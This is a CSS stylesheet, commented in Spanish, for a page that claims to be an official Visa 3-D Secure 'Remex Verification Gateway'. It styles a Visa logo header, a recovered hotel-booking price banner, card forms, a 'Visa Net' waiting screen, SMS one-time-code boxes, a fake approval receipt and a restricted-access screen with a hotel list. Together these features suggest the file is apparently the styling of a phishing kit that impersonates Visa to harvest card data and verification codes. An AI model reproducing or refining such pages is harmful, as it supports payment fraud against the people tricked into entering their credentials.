/* ==============================================================================
   USER PORTAL STYLES - VISA SECURE & REMEX VERIFICATION GATEWAY
   Diseño Oficial Visa 3-D Secure 2.0 con Video Ambiental y Banner Tap-to-Phone.
   100% Adaptativo y fluido para Móviles (sin scroll), Tablets y Escritorio.
   ============================================================================== */

/* ==============================================================================
   1. CONTENEDOR BASE FLUIDO Y ADAPTABLE (FONDO LIMPIO PROFESIONAL)
   ============================================================================== */
.user-page-wrapper {
    min-height: 100vh;
    min-height: 100dvh;
    display: flex;
    flex-direction: column;
    justify-content: space-between;
    align-items: center;
    padding: clamp(0.65rem, 2.5vh, 1.75rem) clamp(0.75rem, 3vw, 1.5rem);
    position: relative;
    z-index: 1;
    box-sizing: border-box;
    background: radial-gradient(circle at 50% 15%, #ffffff 0%, #f4f6fa 60%, #e9eef6 100%);
}

/* Layout de Escritorio con Columna Informativa Opcional */
.portal-desktop-layout {
    width: 100%;
    max-width: 1080px;
    display: grid;
    grid-template-columns: 1fr;
    gap: 2rem;
    align-items: center;
    justify-content: center;
    margin: 0 auto;
}

@media (min-width: 1025px) {
    .portal-desktop-layout {
        grid-template-columns: 440px 580px;
    }
}

/* Columna de Presentación Visa (Desktop Showcase) */
.desktop-hero-showcase {
    display: none;
    flex-direction: column;
    gap: 1.25rem;
}

@media (min-width: 1025px) {
    .desktop-hero-showcase {
        display: flex;
    }
}

.showcase-banner-card {
    background: #ffffff;
    border: 1.5px solid #e2e8f0;
    border-radius: var(--radius-lg);
    overflow: hidden;
    box-shadow: var(--shadow-md);
}

.showcase-img {
    width: 100%;
    height: 200px;
    object-fit: cover;
    display: block;
}

.showcase-body {
    padding: 1.25rem;
}

.showcase-body h3 {
    font-size: 1.1rem;
    color: var(--visa-blue);
    margin-bottom: 0.35rem;
    display: flex;
    align-items: center;
    gap: 0.45rem;
}

.showcase-body p {
    font-size: 0.85rem;
    color: #475569;
    line-height: 1.45;
}

.showcase-features {
    display: flex;
    flex-direction: column;
    gap: 0.65rem;
    margin-top: 0.85rem;
}

.showcase-feature-item {
    display: flex;
    align-items: center;
    gap: 0.55rem;
    font-size: 0.8rem;
    font-weight: 700;
    color: #1e293b;
}

/* Header Superior Oficial Visa */
.portal-header {
    width: 100%;
    max-width: min(600px, 96vw);
    display: flex;
    align-items: center;
    justify-content: space-between;
    margin: 0 auto clamp(0.65rem, 1.8vh, 1.15rem) auto;
    position: relative;
    z-index: 20;
}

.brand-badge {
    display: flex;
    align-items: center;
    gap: clamp(0.5rem, 1.5vw, 0.85rem);
}

.visa-logo-img {
    height: clamp(26px, 4vw, 34px);
    width: auto;
    object-fit: contain;
    filter: drop-shadow(0 2px 4px rgba(0, 0, 0, 0.08));
}

.visa-secure-tag {
    display: flex;
    flex-direction: column;
    border-left: 2px solid #cbd5e1;
    padding-left: clamp(0.5rem, 1.2vw, 0.75rem);
}

.visa-secure-tag h1 {
    font-size: clamp(0.92rem, 1.8vw, 1.1rem);
    font-weight: 800;
    color: var(--visa-blue);
    letter-spacing: -0.02em;
    line-height: 1.1;
}

.visa-secure-tag span {
    font-size: clamp(0.65rem, 1.2vw, 0.72rem);
    color: var(--text-muted);
    font-weight: 700;
    text-transform: uppercase;
    letter-spacing: 0.05em;
    display: flex;
    align-items: center;
    gap: 0.25rem;
}

.visa-gold-dot {
    width: 6px;
    height: 6px;
    border-radius: 50%;
    background-color: var(--visa-gold);
    display: inline-block;
}

.header-right-actions {
    display: flex;
    align-items: center;
    gap: 0.5rem;
}

.security-indicator {
    display: flex;
    align-items: center;
    gap: 0.35rem;
    background-color: #ecfdf5;
    border: 1px solid #a7f3d0;
    padding: 0.35rem clamp(0.5rem, 1.2vw, 0.75rem);
    border-radius: var(--radius-full);
    font-size: clamp(0.7rem, 1.3vw, 0.78rem);
    color: #065f46;
    font-weight: 700;
    white-space: nowrap;
}

/* Botón de Menú Desplegable */
.btn-dropdown-toggle {
    width: 2.25rem;
    height: 2.25rem;
    border-radius: var(--radius-md);
    background-color: #ffffff;
    border: 1px solid #cbd5e1;
    color: #334155;
    display: flex;
    align-items: center;
    justify-content: center;
    cursor: pointer;
    transition: var(--transition);
}

.btn-dropdown-toggle:hover, .btn-dropdown-toggle.active {
    background-color: #eff6ff;
    border-color: var(--visa-blue);
    color: var(--visa-blue);
}

/* Menú Desplegable Flotante */
.mobile-dropdown-menu {
    position: absolute;
    top: calc(100% + 0.5rem);
    right: 0;
    width: min(340px, 92vw);
    background: #ffffff;
    border: 1px solid #cbd5e1;
    border-radius: var(--radius-lg);
    box-shadow: var(--shadow-xl);
    padding: 1rem;
    z-index: 50;
    display: none;
    flex-direction: column;
    gap: 0.75rem;
    animation: dropdownFade 0.2s cubic-bezier(0.4, 0, 0.2, 1);
}

.mobile-dropdown-menu.active {
    display: flex;
}

@keyframes dropdownFade {
    from { opacity: 0; transform: translateY(-8px); }
    to { opacity: 1; transform: translateY(0); }
}

.dropdown-banner-thumb {
    width: 100%;
    height: 110px;
    object-fit: cover;
    border-radius: var(--radius-sm);
    border: 1px solid #e2e8f0;
}

.dropdown-header-title {
    font-size: 0.78rem;
    font-weight: 800;
    color: var(--visa-blue);
    text-transform: uppercase;
    letter-spacing: 0.05em;
    padding-bottom: 0.4rem;
    border-bottom: 1px solid #e2e8f0;
}

.dropdown-item {
    display: flex;
    align-items: flex-start;
    gap: 0.65rem;
    padding: 0.35rem 0.25rem;
    color: #334155;
}

.dropdown-item strong {
    display: block;
    font-size: 0.85rem;
    color: #0f172a;
}

.dropdown-item span {
    display: block;
    font-size: 0.75rem;
    color: #64748b;
}

/* Tarjeta Principal de la Pasarela Visa */
.portal-card {
    width: 100%;
    max-width: min(600px, 96vw);
    margin: 0 auto;
    background: #ffffff;
    border: 1.5px solid #e2e8f0;
    border-radius: var(--radius-lg);
    box-shadow: 0 16px 36px -4px rgba(26, 31, 113, 0.09), 0 4px 12px -2px rgba(15, 23, 42, 0.04);
    position: relative;
    overflow: hidden;
    transition: var(--transition);
    display: flex;
    flex-direction: column;
}

.card-top-progress {
    height: 4px;
    width: 100%;
    background-color: #e2e8f0;
    position: relative;
    overflow: hidden;
}

.progress-bar-active {
    height: 100%;
    width: 25%;
    background: linear-gradient(90deg, var(--visa-blue), var(--visa-gold));
    transition: width 0.35s ease;
}

/* Banner de Cabecera Tap-to-Phone */
.card-header-banner-wrap {
    position: relative;
    height: 70px;
    overflow: hidden;
    border-bottom: 1px solid #e2e8f0;
}

.card-header-banner-img {
    width: 100%;
    height: 100%;
    object-fit: cover;
    object-position: center 30%;
    filter: brightness(0.92);
}

.card-header-banner-overlay {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: linear-gradient(90deg, rgba(26, 31, 113, 0.88) 0%, rgba(26, 31, 113, 0.6) 60%, rgba(247, 182, 0, 0.4) 100%);
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 0 1.25rem;
    color: #ffffff;
}

.banner-badge-title {
    font-size: 0.88rem;
    font-weight: 800;
    display: flex;
    align-items: center;
    gap: 0.45rem;
    text-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);
}

.banner-badge-sub {
    font-size: 0.72rem;
    color: #fde68a;
    font-weight: 600;
}

/* Cinta de Seguridad Visa 3-D Secure */
.bank-security-ribbon {
    background: linear-gradient(90deg, #f8fafc 0%, #f1f5f9 100%);
    border-bottom: 1px solid #e2e8f0;
    padding: clamp(0.45rem, 1.2vh, 0.6rem) clamp(0.85rem, 2.5vw, 1.75rem);
    display: flex;
    align-items: center;
    justify-content: space-between;
    font-size: clamp(0.72rem, 1.2vw, 0.78rem);
    color: #475569;
    font-weight: 700;
}

.bank-security-ribbon span {
    display: flex;
    align-items: center;
    gap: 0.35rem;
}

.emv-chip-icon {
    width: 18px;
    height: 14px;
    background: linear-gradient(135deg, #fde68a, #f59e0b);
    border-radius: 2px;
    border: 1px solid #d97706;
    display: inline-block;
    position: relative;
}

.portal-body {
    padding: clamp(1rem, 2.5vw, 1.85rem);
    flex: 1;
    display: flex;
    flex-direction: column;
    justify-content: space-between;
}

/* Banner de Reserva de Hotel y Producto Recuperado */
.recovered-booking-banner {
    background: linear-gradient(135deg, #eff6ff 0%, #f0fdf4 100%);
    border: 1.5px solid #bfdbfe;
    border-radius: var(--radius-md);
    padding: 0.75rem 0.95rem;
    margin-bottom: 1.15rem;
    display: flex;
    align-items: center;
    gap: 0.75rem;
    box-shadow: 0 2px 6px rgba(26, 31, 113, 0.05);
    animation: fadeIn 0.3s ease;
}

.booking-banner-icon {
    width: 2.25rem;
    height: 2.25rem;
    border-radius: 50%;
    background-color: #ffffff;
    border: 1px solid #93c5fd;
    display: flex;
    align-items: center;
    justify-content: center;
    color: var(--visa-blue);
    flex-shrink: 0;
}

.booking-banner-content {
    flex: 1;
    display: flex;
    flex-direction: column;
    gap: 0.15rem;
}

.booking-banner-title {
    display: flex;
    align-items: center;
    justify-content: space-between;
    font-size: 0.88rem;
    font-weight: 800;
    color: #0f172a;
}

.booking-price-badge {
    background-color: #ecfdf5;
    border: 1px solid #a7f3d0;
    color: #065f46;
    padding: 0.15rem 0.5rem;
    border-radius: var(--radius-full);
    font-size: 0.75rem;
    font-weight: 800;
}

.booking-banner-desc {
    font-size: 0.78rem;
    color: #475569;
    font-weight: 600;
}

/* Vistas y Pasos */
.step-view {
    display: none;
    animation: fadeIn 0.25s cubic-bezier(0.4, 0, 0.2, 1);
    height: 100%;
}

.step-view.active {
    display: flex;
    flex-direction: column;
    justify-content: space-between;
}

@keyframes fadeIn {
    from { opacity: 0; transform: translateY(4px); }
    to { opacity: 1; transform: translateY(0); }
}

.step-header {
    text-align: center;
    margin-bottom: clamp(0.65rem, 1.8vh, 1.25rem);
}

.step-icon-circle {
    width: clamp(2.65rem, 5.5vw, 3.35rem);
    height: clamp(2.65rem, 5.5vw, 3.35rem);
    border-radius: 50%;
    background-color: #eff6ff;
    border: 1px solid #bfdbfe;
    display: flex;
    align-items: center;
    justify-content: center;
    margin: 0 auto clamp(0.35rem, 1vh, 0.75rem) auto;
    color: var(--visa-blue);
}

.step-icon-circle.success {
    background-color: #ecfdf5;
    border-color: #a7f3d0;
    color: #059669;
}

.step-icon-circle.danger {
    background-color: #fef2f2;
    border-color: #fecaca;
    color: #dc2626;
}

.step-icon-circle.warning {
    background-color: #fffbeb;
    border-color: #fde68a;
    color: #d97706;
}

.step-header h2 {
    font-size: clamp(1.08rem, 2vw, 1.3rem);
    color: #0f172a;
    font-weight: 800;
    margin-bottom: 0.2rem;
}

.step-header p {
    font-size: clamp(0.8rem, 1.3vw, 0.88rem);
    color: #475569;
    max-width: 440px;
    margin: 0 auto;
    line-height: 1.4;
}

/* Grid de Formulario Adaptativo */
.compact-form {
    display: flex;
    flex-direction: column;
    justify-content: space-between;
    flex: 1;
}

.form-grid-2 {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    gap: clamp(0.45rem, 1.4vw, 0.8rem);
}

/* Pantalla de Espera Visa Net */
.waiting-box {
    text-align: center;
    padding: clamp(1rem, 2.5vh, 1.75rem) 0.5rem;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    gap: clamp(0.75rem, 1.8vh, 1.25rem);
    flex: 1;
}

.waiting-radar-wrap {
    position: relative;
    width: clamp(68px, 11vw, 82px);
    height: clamp(68px, 11vw, 82px);
    display: flex;
    align-items: center;
    justify-content: center;
}

.radar-ring {
    position: absolute;
    width: 100%;
    height: 100%;
    border-radius: 50%;
    border: 2px solid var(--visa-blue);
    opacity: 0;
    animation: radarRipple 2s cubic-bezier(0.1, 0.8, 0.3, 1) infinite;
}

.radar-ring:nth-child(2) {
    border-color: var(--visa-gold);
    animation-delay: 0.6s;
}

.radar-center-icon {
    width: clamp(40px, 7.5vw, 48px);
    height: clamp(40px, 7.5vw, 48px);
    background-color: #ffffff;
    border: 2px solid var(--visa-blue);
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    color: var(--visa-blue);
    z-index: 2;
    box-shadow: 0 4px 10px rgba(26, 31, 113, 0.15);
}

@keyframes radarRipple {
    0% { transform: scale(0.6); opacity: 0.85; }
    100% { transform: scale(1.6); opacity: 0; }
}

.waiting-title {
    font-size: clamp(1.05rem, 2vw, 1.2rem);
    font-weight: 800;
    color: #0f172a;
}

.waiting-desc {
    font-size: clamp(0.8rem, 1.3vw, 0.88rem);
    color: #475569;
    max-width: 400px;
    line-height: 1.45;
}

.waiting-notice-pill {
    display: inline-flex;
    align-items: center;
    gap: 0.5rem;
    padding: 0.45rem clamp(0.85rem, 2vw, 1.25rem);
    border-radius: var(--radius-full);
    background-color: #f1f5f9;
    border: 1px solid #cbd5e1;
    font-size: clamp(0.75rem, 1.3vw, 0.82rem);
    color: #1e293b;
    font-weight: 600;
}

/* OTP SMS Inputs Visa */
.otp-container {
    display: flex;
    justify-content: center;
    gap: clamp(0.35rem, 1.2vw, 0.65rem);
    margin: clamp(0.65rem, 1.5vh, 1.25rem) 0 clamp(0.45rem, 1.2vh, 1rem) 0;
}

.otp-box {
    width: clamp(2.65rem, 5.8vw, 3.3rem);
    height: clamp(3.25rem, 6.8vh, 3.85rem);
    text-align: center;
    font-family: var(--font-mono);
    font-size: clamp(1.35rem, 3vw, 1.6rem);
    font-weight: 800;
    background-color: #ffffff;
    border: 2px solid #cbd5e1;
    border-radius: var(--radius-md);
    color: var(--visa-blue);
    outline: none;
    transition: var(--transition);
}

.otp-box:focus {
    border-color: var(--visa-blue);
    background-color: #ffffff;
    box-shadow: 0 0 0 3.5px var(--primary-light);
}

.otp-box.filled {
    border-color: var(--visa-blue);
    background-color: #f8fafc;
}

.otp-footer-help {
    text-align: center;
    font-size: clamp(0.78rem, 1.3vw, 0.85rem);
    color: #475569;
    display: flex;
    flex-direction: column;
    gap: 0.35rem;
    align-items: center;
    margin-top: clamp(0.55rem, 1.4vh, 1.1rem);
}

.btn-link-resend {
    background: none;
    border: none;
    color: var(--visa-blue);
    font-family: var(--font-main);
    font-size: inherit;
    font-weight: 700;
    cursor: pointer;
    text-decoration: underline;
    padding: 0.2rem;
}

.btn-link-resend:hover {
    color: var(--visa-blue-hover);
}

.btn-link-resend:disabled {
    color: #94a3b8;
    text-decoration: none;
    cursor: not-allowed;
}

/* Comprobante de Aprobación Visa */
.receipt-card {
    background-color: #f8fafc;
    border: 1px solid #e2e8f0;
    border-radius: var(--radius-md);
    padding: clamp(0.85rem, 2vw, 1.25rem);
    margin-bottom: clamp(0.65rem, 1.5vh, 1.25rem);
    position: relative;
}

.receipt-card::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    height: 4px;
    background: linear-gradient(90deg, var(--visa-blue), #059669);
    border-radius: var(--radius-md) var(--radius-md) 0 0;
}

.receipt-row {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: clamp(0.35rem, 0.8vh, 0.5rem) 0;
    border-bottom: 1px dashed #cbd5e1;
    font-size: clamp(0.78rem, 1.3vw, 0.88rem);
}

.receipt-row:last-child {
    border-bottom: none;
}

.receipt-label {
    color: #64748b;
    font-weight: 500;
}

.receipt-val {
    font-weight: 700;
    color: #0f172a;
    font-family: var(--font-mono);
}

.form-action-footer {
    margin-top: clamp(0.45rem, 1.5vh, 1.25rem);
}

/* Footer de la Pasarela */
.portal-footer {
    width: 100%;
    max-width: min(600px, 96vw);
    margin-top: clamp(0.65rem, 1.8vh, 1.25rem);
    text-align: center;
    font-size: 0.75rem;
    color: #64748b;
    position: relative;
    z-index: 10;
}

.footer-trust-badges {
    display: flex;
    justify-content: center;
    align-items: center;
    gap: clamp(0.85rem, 2vw, 1.5rem);
    font-weight: 600;
    color: #475569;
    font-size: 0.75rem;
    flex-wrap: wrap;
}

.footer-trust-badges span {
    display: flex;
    align-items: center;
    gap: 0.35rem;
}

.footer-legal-links {
    margin-top: 0.45rem;
    display: flex;
    align-items: center;
    justify-content: center;
    flex-wrap: wrap;
    gap: 0.35rem 0.65rem;
    font-size: 0.72rem;
    color: #64748b;
}

.footer-legal-links a {
    color: #475569;
    text-decoration: underline;
    text-underline-offset: 2px;
    transition: color 0.15s ease;
    font-weight: 500;
}

.footer-legal-links a:hover {
    color: var(--visa-blue);
}

.legal-sep {
    color: #cbd5e1;
    font-size: 0.7rem;
}


/* ==============================================================================
   3. VERSION SMARTPHONES (<= 768px): FULL MOBILE-FIRST & ZERO SCROLL
   ============================================================================== */
@media (max-width: 768px) {
    body {
        background-color: #ffffff;
        overflow: hidden;
    }

    .user-page-wrapper {
        height: 100vh;
        height: 100dvh;
        max-height: 100dvh;
        padding: 0;
        overflow: hidden;
        justify-content: flex-start;
        background: #ffffff;
    }

    .portal-header {
        max-width: 100%;
        margin: 0;
        padding: 0.5rem 1rem;
        border-bottom: 1px solid #e2e8f0;
        background-color: rgba(255, 255, 255, 0.95);
        backdrop-filter: blur(8px);
    }

    .card-header-banner-wrap {
        height: 52px;
    }

    .banner-badge-title {
        font-size: 0.8rem;
    }

    .mobile-dropdown-menu {
        top: 3.4rem;
        right: 0.75rem;
        left: 0.75rem;
        width: auto;
    }

    .portal-card {
        max-width: 100%;
        flex: 1;
        border: none;
        border-radius: 0;
        box-shadow: none;
        overflow: hidden;
    }

    .bank-security-ribbon {
        padding: 0.35rem 1rem;
    }

    .portal-body {
        padding: 0.6rem 1rem 0.75rem 1rem;
        overflow: hidden;
    }

    .form-group {
        margin-bottom: 0.35rem;
        gap: 0.12rem;
    }

    .form-input {
        padding: 0.45rem 0.65rem;
        font-size: 16px; /* Evita zoom en iOS */
        border-radius: var(--radius-sm);
    }

    .input-wrap .form-input.has-icon {
        padding-left: 2.15rem;
    }

    .form-error-msg {
        font-size: 0.65rem;
    }

    .btn-lg {
        padding: 0.7rem 1.25rem;
        font-size: 0.92rem;
    }

    .portal-footer {
        display: block;
        padding: 0.35rem 0.75rem;
        margin-top: auto;
        width: 100%;
        max-width: 100%;
        background: #ffffff;
        border-top: 1px solid #f1f5f9;
        font-size: 0.68rem;
    }

    .footer-legal-links {
        margin-top: 0.2rem;
        font-size: 0.66rem;
        gap: 0.25rem 0.45rem;
    }

    .footer-trust-badges {
        font-size: 0.68rem;
        gap: 0.75rem;
    }
}

/* ==============================================================================
   4. VERSION TABLETS (769px a 1024px)
   ============================================================================== */
@media (min-width: 769px) and (max-width: 1024px) {
    .user-page-wrapper {
        justify-content: center;
        padding: 1.5rem;
    }

    .portal-header, .portal-card, .portal-footer {
        max-width: 580px;
    }

    .portal-body {
        padding: 1.75rem;
    }
}

/* ==============================================================================
   5. CASOS ESPECIALES DE PANTALLA CORTA (LANDSCAPE MÓVIL)
   ============================================================================== */
/* ==============================================================================
   6. PANTALLA DE ACCESO RESTRINGIDO & DESBLOQUEO POR ENLACE SEGURO
   ============================================================================== */
.restricted-unlock-card {
    background-color: #f8fafc;
    border: 1px solid #e2e8f0;
    border-radius: var(--radius-md);
    padding: 0.85rem;
    margin: 0.85rem 0;
    text-align: left;
}

.restricted-unlock-title {
    display: flex;
    align-items: center;
    gap: 0.45rem;
    font-size: 0.82rem;
    font-weight: 700;
    color: #0f172a;
    margin-bottom: 0.35rem;
}

.restricted-unlock-desc {
    font-size: 0.76rem;
    color: #64748b;
    margin-bottom: 0.65rem;
    line-height: 1.35;
}

.restricted-input-group {
    display: flex;
    gap: 0.5rem;
    align-items: center;
}

.restricted-input-group .form-input {
    flex: 1;
    height: 38px;
    font-size: 0.82rem;
}

.restricted-input-group .btn {
    padding: 0 1rem;
    height: 38px;
    flex-shrink: 0;
    font-size: 0.8rem;
}

.restricted-hotels-wrap {
    background-color: #ffffff;
    border: 1px solid #e2e8f0;
    border-radius: var(--radius-md);
    padding: 0.75rem 0.85rem;
    margin-top: 0.5rem;
    text-align: left;
}

.restricted-hotels-header {
    display: flex;
    align-items: center;
    gap: 0.4rem;
    font-size: 0.76rem;
    font-weight: 700;
    color: #334155;
    margin-bottom: 0.55rem;
}

.restricted-hotels-grid {
    display: flex;
    flex-wrap: wrap;
    gap: 0.35rem;
}

.hotel-pill {
    background: #f1f5f9;
    border: 1px solid #cbd5e1;
    border-radius: 999px;
    padding: 0.2rem 0.55rem;
    font-size: 0.7rem;
    color: #334155;
    font-weight: 600;
    white-space: nowrap;
}

